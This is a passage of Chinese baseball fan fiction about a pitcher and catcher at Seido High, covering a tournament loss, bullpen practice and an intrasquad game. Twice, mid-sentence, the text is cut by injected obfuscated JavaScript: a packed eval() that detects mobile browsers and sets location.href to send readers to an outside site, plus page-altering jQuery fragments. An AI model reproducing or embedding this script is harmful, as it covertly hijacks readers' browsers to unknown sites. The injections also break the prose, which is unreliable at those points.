御幸笑了笑,用筷子戳了戳碗里的饭,语气带着一丝调侃:“也不是不开心啦,只是觉得偷偷练球的时候还挺有意思的,你不觉得吗?那种背着教练们干坏事的感觉。” 白鸟听了忍不住笑了起来:“好吧,但总归还是会担心被教练们发现怎么办,条件问题也投不快,现在能进牛棚了,就可以放开手脚了。” 御幸耸了耸肩,故作无奈地说道:“好吧。” *** 青道高中与市大三高校的比赛在下午进行,阳光炙烤着球场,空气中弥漫着紧张的气息。 两队的球员都全力以赴,比赛从一开始就进入了白热化阶段。 青道高中在比赛的前半段表现得非常出色,王牌柴崎作为先发投手,展现了他出色的控球,成功压制了市大三的前几棒打者,克里斯作为捕手精准的配球和冷静的指挥也让青道的防守固若金汤。 青道一方的看台上应援声愈发响亮,结合青道昨天的表现,大家都觉得此次冠军有望。 可事态从中局开始渐渐发生了变化,市大三的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674039|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打者们似乎逐渐适应了柴崎的球路,开始找到突破口。 第四局上半,市大三的四棒打者抓住了一颗稍高的变化球,一记强劲的本垒打将球送出了围墙,为市大三高校拿下了本场比赛的第一分。 这一击仿佛点燃了他们的士气,接下来的打者也接连打出了安打,柴崎的投球开始显得有些力不从心。 克里斯果断叫了暂停,赛场暂时停滞了下来。白鸟握紧了手中的应援棒,他担忧地看着投手丘上的柴崎前辈,无论什么样的投手,球被打出去的那刻,都会有种强烈的不安定感,区别只是有人能马上克服,有人不行。 “青道的王牌接连被打出安打,他还能重新振作吗?现在是一三垒有人的危险局面,青道高中似乎已经在悬崖的边缘。下一棒是市大三的下位打线,七棒,木下君。 “市大三高校能抓住这个机会,拉开分差吗?” 转播的解说语气激动,看着屏幕的稻城实业队员们握紧了手。 “既然赢了我们,就别输给市大三啊!” 可惜,比赛没有因为人的意志而改变,在又失了两分后,青道的教练虽然迅速做出调整,换上了丹波,但丹波并不是逆风能抗压的选手,教练并不放心他,选择将柴崎放在了外野,希望他能借此找回状态。 在市大三还未熟悉丹波的投球时,靠着克里斯前辈的配球,丹波努力用曲球了压制他们一轮。 与此同时,青道的打线终于开始活跃起来,东前辈一发本垒打追回一分,结成前辈打出了一记右外野安打登上了二垒的垒包,局面似乎要朝着眼熟的方向发展。 可在市大三的捕手叫了暂停后,他们的投手似乎缓了过来,后续的打者无功而返,只留下二垒的残垒结束了这本有希望掰平比分,甚至反超的一局。 “可惜……” “是啊,太可惜了,如果能平分就好了。” 看台上一片惋惜之声。 第七局,市大三抓住了丹波直球的弱点,攻克了他的直球后,他的曲球就不那么有效了,市大三连续得分,将比分拉开。 青道的打线努力想要得分,却在市大三换投后有些抓不住状态,虽也有得分,局势却在末尾止不住的朝着深渊滑去。 直到比赛进入尾声,青道的球员们虽然拼尽全力,但终究未能扭转局势。青道以5比7的比分惜败于市大三高校,与冠军失之交臂。 与昨天截然相反的乘车氛围,回学校的路上没人说话,气氛相当凝重,直面了高中比赛的残酷后,他们都有些心有余悸。 白鸟面无表情地看着车窗外,干净的玻璃映出他的倒影。 车窗外的景色飞速后退,城市的喧嚣繁华映在他的瞳孔里,却无法激起任何波澜。 他的手指轻轻搭在车窗边缘,指尖微微发凉,青道的败因连他都能看得出来,很简单,就是投手阵不够强。 面对强校的打线终究失却了一份压迫力和韧性,投手在投手丘上被打爆的无力让身为投手的他感同身受。 不过这也意味着他进入一军的日子近在咫尺,决赛输了谁也不想,但正赛的结束也意味着能抽出空来培养新人了。 虽然这么说很无情,但有了这场比赛作那根横亘在大家心中的刺,他只要正常发挥实力,融入一军大概率不会有多少困难。 曾经某个人说的不错,运动竞技是弱肉强食体现的最明显的地方,只要实力足够,很多困难将在你面前迎刃而解。 唯一需要担心的是,到时候一军只有他一个一年级,其他的全是前辈。 不知道青道棒球社一军中前后辈关系究竟如何,希望不要有什么奇怪的陋习。 虽然内心清楚的知道,青道并不是大阪的那支队伍,但过往因为前后辈关系而产生的阴影也不是那么容易消除的。 不过以他目前对青道部分前辈的了解,前辈们虽然面容凶恶但是心肠都还挺不错的,应该不会出问题……吧? 7. 未来 回到青心寮后,白鸟先返回宿舍收拾了一下,楼里安静的很,克里斯前辈他们大概还在开反省会吧。 他坐在自己的书桌前,弯腰从第一个抽屉的最深处拿出一个小盒子。 那是个黑色的绒布包裹的小方盒,打开后一条编织精细的红绳躺在里面,红线的材质是手搓的棉线,编的非常精致,看的出做的人饱含心意。 白鸟伸出手指轻轻抚摸了一下那根红绳编织的手链,眼眸中满是温柔,似乎在这上面得到了安慰,他将其放回原处后动作不再犹豫,拿起训练装备走出了宿舍。 *** “红白赛?”前园大口大口吃着晚饭的动作顿了顿,他是一年级里唯一一个吃完三碗饭还要添饭的人。 川上点点头,他悄悄看了看二军的前辈们,然后低头小声说道:“我听见前辈们有讨论这个,好像在关东大赛之前,会举办新生和二军的红白赛。” “额……”想起因为正赛结束,有几位发挥不好的一军选手也被下放二军了,到时候红白赛也会对上他们,前园的好胃口顿时荡然无存。 白洲健二郎正在默默吃饭,听见二人谈论的内容后,突然出声:“监督应该是想趁此机会观察新生,然后提拔表现好的进入一军和二军。” 一直没什么存在感的白洲一出声吓了两人一跳,在白洲说话前他们甚至没注意到旁边还坐了人,不得不说存在感低有时候也是一种天赋。 川上点点头,偷偷瞥向白鸟和御幸。 “那两个人肯定没问题,就不知道我们怎么样了。” “努力是不会骗人的!”前园努力给自己打气,拿起饭碗开始干饭,他的赛道和投手、捕手不同,他要学习他的偶像东清国前辈,如果他能在红白赛上打出去一发,一定能被监督看见的! 那边在自我鼓励,这边的投捕也在讨论红白战。 “既然知道要打红白战,那要把新生们都召集商量一下吗?”白鸟可不觉得自己一定就会和御幸搭档,新生一共有三个投手,两个捕手,怎么排列组合都可能。 还好在红白战之前能进牛棚练球,他还没和同期的另一个捕手一起练习过呢。 御幸自然也能想到这些,但他反应淡淡:“这事儿吃力不讨好,红白战新生基本必输,我们从来没有一起比过赛,没有信任基础,贸然去组织,大概会被指责多管闲事或者目中无人吧。” 白鸟点点头,御幸说得也没错,有时当出头鸟在体育社团是危险的,他们在新生中已经足够显眼了。 “等进牛棚练投的时候,主要练习一下四缝线吧,你和小野是新生里唯二的捕手,要辛苦一下你们了。”白鸟自知速球的威力,而御幸和小野看着都不够健壮。 御幸挑眉笑笑:“那有什么辛苦的,不如说我很期待啊。” 宣布可以进牛棚的那天是很平常的一天。 傍晚,克里斯前辈点名了正在训练的几个投捕,带着他们在其他新生的目光中离开。 牛棚中,监督依旧带着墨镜抱臂站着,见人来了便冲着克里斯点点头。 克里斯拿着记录本,他没有穿捕手装备,视线温和地扫过有些拘谨的几个人:“御幸和白鸟一组,川上和宫内一组,川岛和小野一组。” 因为投手比捕手多了一个,二年级的宫内前辈就来帮忙了。 “你们和搭档熟悉一下,热身结束后我们先从四缝线直球开始练习。”说着,克里斯的目光停在白鸟身上。 “白鸟投球的时候记得慢慢提速。”克里斯交代完这句便暂时离开了牛棚站在了监督旁边,留下投捕几人面面相觑。 白鸟和御幸偷偷练过几回,对这种情况并不陌生,川岛和小野彼此也比较熟悉,不如说投捕是新生中最容易熟悉起来的人,因为双方都会关注彼此。 只有被分到二年级宫内前辈的川上有些僵硬。 御幸开始帮助白鸟热身,他借着拉伸的机会偷偷耳语:“这次练习监督居然也在,肯定不单单是练习。” 白鸟垂眸:“也许。” 因为靠的近,发丝拂过脸颊,带来淡淡的洗发水花香,是御幸之前在澡堂闻过的那个味道,没想到白鸟居然喜欢这种甜甜的味道。 他忍不住伸手撩过白鸟的几缕发丝,触感和想象的一样,宛如鸟类的绒毛,软软的且很丝滑。 白鸟身体绷紧了一瞬,很久没人摸过他的头发了,他很快强迫自己放松下来,没让御幸察觉到异常。 热身做完,御幸套上捕手装备蹲在本垒板处看着拿着棒球不知道在想什么的白鸟。 手上棒球的触感一如既往。 真好啊……如今,我依然没有放弃棒球,还又一次遇见了想要一起打棒球的伙伴。 白鸟唇角微翘,目光专注地盯着御幸的手套,他深吸一口气,感受着手指细腻的触感。 “开始吧。”克里斯的声音从一旁传来,打破了短暂的沉默。 白鸟点了点头,缓缓抬起手臂,随着坚定有力的踏步,手臂如鞭般甩出,棒球似离弦之箭飞向本垒板。 “啪!”御幸稳稳地接住了球,手套发出清脆的响声,他抬头看向白鸟,眼中闪过赞许之色:“不错,球速和控球都很稳。” 白鸟微微一笑,心中稍稍放松了一些。 “继续,慢慢提速。”克里斯在一旁提醒道。 白鸟点了点头,再次抬起手臂,这一次,他的动作更加流畅,球速也比之前快了一些,御幸依然稳稳接住,手套的声音明显更加响亮。 御幸用力抓住在手套内乱窜的棒球,速度开始比他们私下练习要快了,球威也在提升,这四缝线直球真是漂亮。 “好球!”御幸站起身,将球抛回给白鸟。 白鸟接过球,感受到捕手的满意与认可,他弯眉笑笑。 “下一球,试试内角低球。”御幸蹲下身,手套放在内角低位。 白鸟调整了一下呼吸,目光锁定御幸的手套,他抬起手臂,随后猛地将球投出。 棒球划出一道弧线直奔内角低位,白光如练,精准而有力地没入捕手的手套。 “啪!”御幸的手套稳稳接住球,但这一次他的动作明显比之前吃力了一些。 “好球!这球应该超过150KM/S了吧?”御幸站起身,甩了甩有些发麻的手,他目光灼灼地看向白鸟京,刚刚他的手套甚至都没有动弹一下,棒球就进了手套,如此控球速度都没有降低,看来白鸟的状态很不错啊。 克里斯不知何时已经拿上了测速枪,闻言笑了笑:“148KM/S,因为白鸟的姿势非常漂亮,他的投球动作不带一丝犹豫,棒球转速也快,所以从本垒板看,会比它原本的速度更快。” 在第一天接白鸟的投球时克里斯就发现了这点,他之所以严格控制白鸟的投球,就是因为无论是球速还是转速,对于肩膀和手腕的伤害都是很大的。 如此惊才绝艳的投手,就算如今还算稚嫩,也已经能看出之后的风采,他绝不能让白鸟重蹈他的覆辙。 在球速真的上到153KM/S时,白鸟的控球开始失控,他有时会无法控制自己投入想要的位置,只能依靠捕手去拉球。 一颗位置刁钻的坏球让御幸没能及时按住在手套内乱窜的球,捕逸了,他的体重和肌肉到底还是差了些。 但他并不服输,又向白鸟要了一颗速球。 白鸟看着他坚定的眼睛,没有拒绝。这次御幸牢牢制住了手套内的棒球,没让棒球再次跑出手套。 只是1球,御幸就调整了卸力技巧接住了球。克里斯眼中满是赞赏。 还没等克里斯制止,白鸟主动走下投手丘,来到了御幸身边。 “怎么了?”还以为白鸟出了什么问题,御幸立刻起身摘下面罩。 白鸟在御幸惊讶的目光中伸手摘下他的捕手手套,手套下的那只手手掌通红,他轻轻握住了那只手。 “我的球会对捕手造成什么样的伤害,我很清楚,”他注视着那 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御幸看着白鸟认真的表情,那双金色的眼瞳中满是自己的影子,这是他第一次在这双眼睛里看到如此清晰的情绪,那干涸的土地似乎被重新注入了生机,盈满了温柔与坚定。 他从未见过这样的白鸟——那双总是冷静而疏离的眼睛,此刻却像是被点燃了一般,闪烁着炽热的光芒。御幸忽然意识到,白鸟的内心深处并非如他表面那般淡漠,只是很少有人能触及。 而他点燃了这簇水面下的火焰,只是因为他之前那些行为。 意识到这一点后,他有点狼狈地转过头,不再对视:“好吧,我知道了。” “接下来我会努力增重的,不会再漏接一颗球,不会让你在与我投球时再有任何顾虑。”御幸很快整理好情绪,拍了拍白鸟的肩膀。 他认真地看着白鸟:“就像我之前说的那样,你只要相信我的手套就行了。” “嗯。”白鸟笑着点头。 旁边的克里斯欣慰地笑了,如果白鸟不去制止,他也会去制止御幸。 作为前辈,他深知御幸的天赋和潜力,但也清楚,现在的御幸还需要时间去成长。 ‘这两个孩子,真是让人放心不下啊。’克里斯在心里叹了口气。 他知道,御幸是个不服输的人,但捕手这个位置,不仅需要高超的技术,还需要强健的体魄来支撑。 现在的御幸,虽然接球技术已经非常出色,但他的身体还在成长中,应该做的不是去勉强自己,而是耐心等待,让汗水与时间打磨自己。 想到这,克里斯眼中闪过一丝黯然,这种事情,永远都是旁观者清,当局者迷。 ‘不过,有白鸟在身边,御幸应该不会太过勉强自己吧。’克里斯心想。 他回想起刚才白鸟主动走下投手丘,握住御幸手的那一幕。 这份细心和体贴让他感到欣慰,作为投手,能及时关注到搭档的状况还是很少见的,毕竟投手一般都是任性与被关怀的那个,而捕手则是包容关切的那一方。 他们往往不仅需要关注投手的身体健康,还要关注投手的心理健康。 捕手因此被戏称为“女房役”。 终有一天,这对搭档会成为青道高中棒球队的中流砥柱,甚至在全国大赛的舞台上大放异彩。可以说,以他们的资质而言,这一天已经不远了。 “克里斯前辈,接下来呢?”御幸的声音打断了克里斯的思绪。 他看着面前两双亮晶晶的眼睛,温和地笑了笑:“能信任彼此、能及时沟通,你们已经拥有了作为投捕搭档最重要的东西。” “御幸,白鸟说得对,不要勉强自己。你的身体还在成长,如果因此受伤反而得不偿失。” “白鸟的直球完成度已经很高了,若想提高球速还能有很好的控球,只能用时间去打磨。” “接下来你们就主要练习一下变化球吧,我去看看另外两组。” 8. 「天才」 后面又让投捕们互换练习了一下,这时才能深刻意识到,什么叫‘同龄人里只有你接住了我153KM的速球’。 球速上150KM后,时不时就会有压不住球路而乱飞的坏球,那种带着呼啸风声直冲脸而来的速球,哪怕带着面罩也会让人心生恐惧。 小野作为和御幸同年级的捕手,深刻意识到了他和御幸的差距不仅仅是在配球上,御幸是名副其实的天才捕手。 面对速度上了150KM的速球,小野完全接不住,意识到这点后,白鸟主动放低了球速。 小野有些不甘,可他刚刚也听见了克里斯前辈的话,知道现在逞强也是无用的,但他并没有放弃,哪怕意识到了差距,他也不想放弃。 宫内前辈面对速球的表现就好多了,他体格健壮,刚开始也一直在漏接,但渐渐的只要不是离谱的坏球也开始能接住几个了。 两条白气从鼻孔喷出,宫内前辈闷声道:“再来,我一定能接住!” 之前面对丹波的失落,他还很纳闷,就算学弟的速球再天赋异禀又如何,当年伊佐敷也能投出火球啊,而且丹波的曲球也很厉害,完全不必羡慕学弟。 直到今天真正见到了这个学弟投球,宫内才明白了丹波的情绪从何而来。 站在投手丘上的不是投手,而是一个「怪物」啊!如此年纪,就有如此能力,他是吃棒球长大的吗? 白鸟伫立在投手丘上,室内练习室的灯光令他的白发融成一团雪色,那双金色的眼睛隐藏阴影中,注视着本垒板时有着令人不寒而栗的存在感。 与平日的温和不同,站在那里的白鸟似成了一汪深潭,波澜不惊,而指尖弹出的球却如平地惊雷,炸响在捕手的耳畔与心间。 “到此为止吧。你们做一下拉伸,之后去跑5圈步就直接结束今天的训练。”克里斯收起记录本转身和片冈监督一起离开了牛棚。 片冈监督戴着墨镜,一直没有表露出什么情绪,实在是一个令人捉摸不透的人。 他们远离训练场一段距离后,克里斯才斟酌着开口道:“白鸟和御幸的能力非常突出,虽然体力还跟不上高中赛事,但这个问题一时急不来。” “川上作为左侧投非常稀有,如今看来他的控球也值得称道,是个值得培养的投手。” “川岛……”克里斯微微皱眉,心下叹息,“他今天的发挥似乎有失水准,多半是因为太紧张了。” 片冈监督点点头,没有对此作出什么评价。川上是太田部长推荐入学的选手,虽然平时看上去和丹波一样内敛敏感,但是目前看来自有一番韧性。 川岛作为投手进入青道,自然也是被教练们瞩目过的,可惜他似乎…… 新生中白鸟、御幸的资质已经足矣先行进入一军,毕竟青道一直有将看好的新生编入一军队伍,让他们率先熟悉赛场氛围,在比赛中快速成长的先例。 但目前一军的捕手太多,不像薄弱的投手阵可以让白鸟发挥,若是先将他放到二军多打一些比赛积累经验,也不错。 想到二军,片冈监督的脸色就有些无奈,他先前将比赛中表现不好的两位一军选手下放了二军以作惩戒。 希望他们明白,不是进入了一军就可以松懈,有很多人都渴望得到他们的位置,而后起者已经奋起直追,希望几日后的红白战,可以让他们明白这一点吧。 “辛苦你了克里斯,在此之前还需要你多看顾一二了。” 片冈监督信任的眼神令克里斯的胸膛溢满激动之情。 “是!” “喂,白鸟!”被一个热乎乎的家伙挂住了脖子,“今天终于尽情投球了,开心吗?” 白鸟的平衡感和核心都很好,因此就算被突然“袭击”脚步也没有踉跄。 还没等他回话,一只手捏上了脸颊。 “这家伙有酒窝哦,可爱吧!” 被问到的川上有点猝不及防:“嗯……”他不敢看白鸟的脸色,一个大男人被说可爱什么的……但是回答不可爱更不妙吧。 旁边的小野因为变得轻松的气氛,终于鼓起勇气道:“白鸟君,我会努力练习,直到能接住你的球的,希望你不要失望。” 御幸因为训练而戴上的太阳镜在灯光下闪过一道白光。白鸟有点惊讶地转头看着小野,为了让他不失望吗? “我没有失望……不过谢谢你小野。”白鸟弯着眉眼,朝小野温柔地笑了。 小野看着白鸟的笑颜松了口气,随即道:“呀,真的有酒窝!” 因为看见了白鸟之前新生测试时的出色表现,他一直憧憬着能够接一次这样优秀的投手的投球,但却一直不敢迈出搭话的第一步。 能在今天牛棚练习时组成投捕搭档真是太好了,虽然因此显示出自己还有太多不足,但……他会努力的! “川上作为稀有的左侧投,控球真的很棒呢,我要了好几个刁钻的位置,居然都稳稳投进来了!”御幸笑嘻嘻地夸赞站在旁边默默缩减存在感的川上。 川上:“谢、谢谢……”虽然被优秀的捕手夸赞是很开心啦,但是……他抬头看了一眼白鸟,陡然对上了视线。 川上的心跳都漏了一拍。 那双浅色眼睛里的情绪总是淡淡的,就算知道白鸟并不可怕,他们也很少能搭上话。他总是注视着这个同期的背影,很少认真去看那双璀璨的眼睛。 但此时,意外对上的视线,他竟从那双望着他的眼睛里瞧见了一点羡慕。 羡慕?!白鸟怎么可能羡慕我?我有什么可羡慕的? 他看错了吧……待川上回过神想认真探寻,白鸟早就已经转移了视线。 川岛在旁边羡慕地看着被围住的白鸟京,宫内前辈默默走到了他身边,作为二年级的前辈,他并不想打扰学弟们说话,但川岛在训练上的表现实在令他有些担心,鼻孔喷气闷声道:“不过去吗?” 川岛摇头:“不了,我……只是看着就可以了。”只是看着,就仿佛要被那天赋的光芒灼伤。 刚刚练投时他就在白鸟旁边的牛棚,那一声声雷鸣般的炸响,棒球高速划过空气产生的厉啸,仿佛有什么「怪物」正在他身边呼吸。 那一瞬间,他恐惧了。 恐惧于在这等「怪物」的阴影下投球,仿若在浓重的黑暗中摸爬滚打找不到出路。他如果要做投手,就必须和这等「怪物」竞争吗? 那不是一条一眼望到头的死路吗! 他在牛棚投出的球一塌糊涂,完全不是自己平时的水平,恐怕观看的监督会很失望吧,但,就算是平时的水准又如何呢?日月恒明,谁能注意到萤火的辉光。 明知不可为而为之。 那是「英雄」才能做到的选择,他只是一介「庸人」。 红白赛过后,就放弃投球吧……川岛在内心安静地告诉自己,他觉得自己做出了最好的选择。他望着川上,你比我厉害的多,面对白鸟没有选择放弃。 之后……你会成为「英雄」还是「庸人」呢?那都是和我无关的事了。 *** 夜色渐深,徐徐清风拂过树梢,沙沙作响。 他们几人组团去吃晚饭、洗了澡。这次练习也算是一场交流会,让他们这几个同年级的投捕对彼此更熟悉了。 临了在楼梯间分别后,白鸟、御幸和川上走上二楼。 “哦,对了。”送别了川上后,御幸正准备打开自己宿舍的门,他像是突然想起什么来,出声道。 “这次我先你一步将积分册借走了,光盘也刻录好了,要一起看吗?”御幸的手搭在门把手上,转头看着白鸟问道。 现在才21点左右,青心寮的熄灯时间是23点,左右也没什么别的事情。 白鸟跟着御幸进了他的宿舍,门牌上写着三个名字——东清国、楠木文哉、御幸一也。 宿舍里当然没人,这个时间点前辈们大概还在自主练习,如果不是被克里斯前辈要求了,他们也会是其中一员。 御幸居然和这两个学长一间宿舍吗?以白鸟的个性,虽很 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关于楠木前辈的事情是和仓持聊天的时候偶然得知的。当时说起这些的时候,仓持还恨恨地瞪了他一眼。 白鸟和御幸聊天的话题多是棒球,和仓持却会更多的聊些日常生活的琐事。他喜欢这种平淡中带点诙谐的气氛,认为他们三人就算没有直接说出口,也已经是朋友了。 想到这,白鸟的脸上浮现出一抹淡淡的笑意。 御幸在开宿舍里的碟片机,这是前面几届学长留下的好东西,省却了他去食堂或者放映室看视频的不便。 随着相处的时间渐渐增多,御幸也发现了,投手会有的敏感多思白鸟一应俱全,只是表达方式不一样,而且贯会忍耐罢了。 “你在想什么?”御幸一边调试机器,一边问道。对投手搭档抱有充沛的好奇,是捕手的天性。 “朋友。”白鸟乖乖回答。 “哈?”御幸回头看了白鸟一眼,又转头捣鼓机器,“什么朋友?” 白鸟嘴角微微扬起:“青道的大家都很好,我自认是个无聊的人,不会说俏皮话,也不会活跃气氛,但即便如此,我也在这里交到了朋友。” “比如你和仓持。” 他在想要不要试着改变一下处事方式,比起他的新朋友们,他的性格似乎显得过于沉闷无趣了些。 御幸把光盘放进机器,却没有立刻按下开始,他定在那里半晌。 “御幸?”白鸟有些疑惑地喊了他一声,好好的怎么突然不动了,难道碟片机坏了? 御幸轻咳一声:“没什么,怎么突然开始思考这个了?” “因为我想和你们一直做朋友。”白鸟盘腿坐在地上托着下巴认真道,他在选定目标后向来执着。 御幸一直背对着白鸟,用着开玩笑的语气道:“你是来打棒球还是交朋友的?” 白鸟眨眨眼,试探道:“都想要,可以吗?” “贪婪。”御幸点评,然后他终于转过身,结束训练后的他已经重新戴上了黑框眼镜。 比起防风镜的运动风格,带着黑框眼镜的御幸一也看上去更加腹黑聪明,眼镜会降低人的颜值,但这条定律对御幸而言却并不作效,可能是因为他的眉眼较之他人更加深邃,浓眉星目,降低了眼镜带来的影响。 白鸟对所有捕手的刻板印象都是聪明,完全忘记了如果有不受同性欢迎排行榜,御幸绝对是前三名。 这家伙的人际关系真的很差,面对投手已经算是难得的有心了。 眼中蔓延出笑意,白鸟对着御幸伸出手:“没错,我就是这么个贪婪的家伙,无论是搭档还是朋友我都要。” 御幸忽略耳尖的热意,他故作无奈地叹息一声,看着白鸟伸出的那只手,一边嘟囔着:“真拿你没办法,谁让我是捕手呢。”一边伸出手握了上去。 两双眼睛对视,然后同时憋不住笑出了声。 “虽然已经说过了一次,但以后还是请多多指教了。” 9. 暗流 “所以另一个为什么是仓持?”御幸重新回到碟片机面前,按下播放键。 白鸟拿过放在墙角的折叠桌子:“因为仓持虽然看着面容凶恶,像个不良少年,但他其实是个很好的人,我能感觉出来。” “他想成为游击手对吧?感觉身后有他守备的话会很安心。” 而且不知道为什么,总觉得他身上有同类的感觉……那种仿佛也被背叛过的感觉,但仓持比他坚强、洒脱,非常帅气。 御幸挑眉,仓持洋一看着大大咧咧,实则粗中有细,心思细腻,对待棒球的心更是单纯真挚。 这也是为什么虽然他看上去不好招惹,但在棒球部中人缘意外的不错。 “仓持是第一个你选择的朋友?”御幸调整着录像,本来他们的目的就是看录像讨论赛事来着。 白鸟一愣:“不是啊,你是第一个。” “……”御幸。 真是败给这家伙了,御幸扶着额头。 “那再回到上一个问题。” 白鸟已经忘了。 他看着御幸在显示屏的光芒下回身朝他笑得灿烂:“白鸟一点都不无聊,完全相反,我觉得你超——有趣哦。” 今天终于完整接过白鸟投球的御幸真的超兴奋超开心,他就像发现了宝藏,急于展示,并不允许任何人忽视他的光彩。 哈哈,一个全是外驱力推动他打棒球的人,会选择最自我的位置——投手?他相信白鸟走上棒球道路是被推动的,但选择了投手,并且能投的这么好,绝不是外驱力能做到的。 一定,一定有白鸟自己都没有发觉的东西,深埋在他的心底。他站上投手丘的风姿,仿若箭矢离弦前静止的空气,那种「静」的压迫力,只有在本垒板处的捕手和打者能清楚的感受到。 俗话说静极思动,白鸟京心里一定藏着如投出的球般凶猛的欲望,那是掩盖在平静水面表象下,深邃危险的暗流。 拥有如此气魄的投手居然还未觉醒,也就是说现在投球的白鸟京还不是完全体?对他来说能引导这样的投手展露真实的自我,没有比这更有趣的了! 开始放录像后,两人都整理了情绪投入到了比赛的分析中。 录像中是稻城实业与青道高中的决赛。 他们已经就半决赛的记分册进行过一次讨论,所以这次很快两人就进入了状态。 比赛分析主要由御幸分享他的观点,然后以如果这次比赛的投捕是他们二人,会如何配球解决打者来思考。 宿舍里有海绵地垫,所以坐在地上并不冷,能折叠的小桌板放在地上,上面放着水和记分册。 “这里应该要用变化球吧,这个五棒看样子对变化球很苦手啊。” “从前面看他很要强,就算是不擅长的变化球只要在好球带他就会挥棒,你的滑球可以从好球带偏离到坏球带,这样我们就一好球了领先了。”御幸点着记分册上的数据分析道。 白鸟皱眉:“可是场上的氛围因为刚刚四棒的二垒安打很紧绷,我的滑球不如直球威势重,如果这里的滑球被打出去,对面很可能直接拿下一分。” 御幸黑线,果然是比赛不多的缘故吗,这家伙对自己的滑球究竟有什么误解啊。 “140KM/S左右的滑球哪里没有威势了,已经是决胜球的程度了啊,那些直球都上不了140KM的投手在哭啊喂!” “我的滑球还没上过140KM/S……” “迟早的事啊~” 白鸟的嘴角有点想翘起来,但是又被他自己狠狠压住。 录像带还在缓缓转动,局势进入第六局,御幸伸手按下暂停,他指着市大三高的打者。 “这里的打击很果断,似乎他们很确定柴崎前辈会在这一球投出变速球。” “你是怎么想的?” 白鸟京撑着下巴,略有点出神的看着在投手丘上懊恼的柴崎前辈:“是因为柴崎前辈此时压力很大吧。” 御幸点头:“没错。” 他看着捕手位的克里斯前辈叫了个暂停,跑上投手丘安稳柴崎前辈,金棕色的眼眸中闪过了然。 比起解决对面,因为接下来还要应对上位打线,克里斯前辈更想在这局安定王牌的心情,这个打者的变化球打击数据并不理想,所以克里斯前辈就配了一个变速球想要安抚柴崎前辈。 柴崎前辈喜欢投变速球。让投手投出喜欢的球并淘汰打者,是有效的能够让投手提升手感,稳定心情的方式之一。 没想到反而掉入了对方的陷阱。 御幸想,如果是他在场也会做出同样选择的,只能说这是对面技高一筹了。 “不仅是猜中了,还因为市大三的四棒之前将柴崎前辈的变化球打出了本垒打,柴崎前辈的状态因此受到了影响,他投的变化球越发谨慎了。变速球尤其如此,速度下降,球威和变化都不够,这一球实际上失投了。” “克里斯前辈想要他重新建立起投变化球的信心和手感,所以在这里Call了一个变速球,如果能令打者挥空或出局,投手的变化球手感回升,捕手接下来的配球会更有余裕。” 毕竟市大三高的中心打者都不是吃素的,在赛局中盘,中心打线二轮游的情况下,只拿直球应对,以柴崎前辈的直球表现来看,有点异想天开。 柴崎翔一是那种很标准的高中王牌,140KM/S左右的四缝线直球,最速143KM/S,变化球有切球、变速球。 他能成为王牌的原因一是控球较为稳定,球速在白鸟来之前是投手阵里最快的,二就是变速球,这颗变速球正常状态下作为决胜球没有任何问题,可若投手状态出问题那就难说了。 投手是敏感纤细的生物,无论是天气、心情、气氛……都有可能影响到手感与发挥。 “嗯——我们也没有一起打过比赛,不知道白鸟你在赛场上会有什么样的发挥?过几天的红白赛,如果能一起搭档就好啦~” “对了,你想要投球的时候一定要主动和我说,我会陪你练球的。”御幸笑眯眯道。 白鸟微微一愣,然后轻轻点头:“好。” *** “1:17,真是不出所料啊。” “每次迎新的红白赛不都这样,你在期待啥呀。” “不过新生这一分是哪来的,我来的迟,没看见前面。” “嗐!水谷正常开局不稳定,正好遇上一个脚程很快的新生,后面的新生抓住机会拿下了1分,不过也就一分罢了。” “水谷手感上来之后,他们就拿不到分了。” “那当然吧,决赛又输给市大三让大家都憋了口气呢,还让新生得分了,他们再不发力还想不想回一军了。” 训练场边的青道粉丝与OB们议论纷纷。 “不过现在场上的这个捕手和左侧投还不错。尤其是这个中局上场的捕手,臂力很强。原本高年级随便都能盗垒得分,结果他上场后杀了好几个跑者,高年级现在已经不敢随便离开垒包了。” “左侧投确实稀有,不过现在这家伙已经快崩溃了吧,本来靠控球和那个捕手的配球还有点希望,被接连打出去后,控球也变得乱七八糟了,叫了暂停也没用。” “不过,这个捕手肩膀真好啊,好几次把二垒跑者杀在垒包上不敢动,配球也很有意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674042|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思!” 新生的休息区只有一片冰冷的寂静,虽然早就意识到自己与前辈们之间存在差距,但这么大的分差还是让他们不能接受,他们在前辈的手下几乎是毫无还手之力。 原本都是自觉在棒球上有点天赋实力的家伙,才敢来到西东京这个死亡赛区。如今他们才恍然当时刚进棒球部时片冈监督说的‘把你们国中获得的成就全部抛下’是什么意思。 原来直到高中棒球,他们才算真正踏入了棒球世界的大门啊。 白鸟坐在椅子上脊背挺得笔直,双手规规矩矩地放在膝盖上,屋檐的阴影下,他眼眸亮晶晶地看着本垒板处的御幸一也。 又是漫长的一局结束了,场上的新生险之又险的将失分控制在了1分,留下了一个动弹不得的2垒跑者。 白鸟立刻站起身迎上御幸,帮他把捕手装备脱下,一旁的小野递过倒好的水,他是真的佩服御幸,上半局的捕手是他,那可真是都快被打崩溃了。 御幸失笑,他一边擦汗一边接过水:“谢谢你,小野。” “不要着急白鸟,你应该也快上场了。” 话音刚落,场上响起通报。 “投手川上宪史更换为投手白鸟京。” 白鸟下意识往场中看去,此时正是红白双方交换攻守,轮到他们这边下位打线的时候。 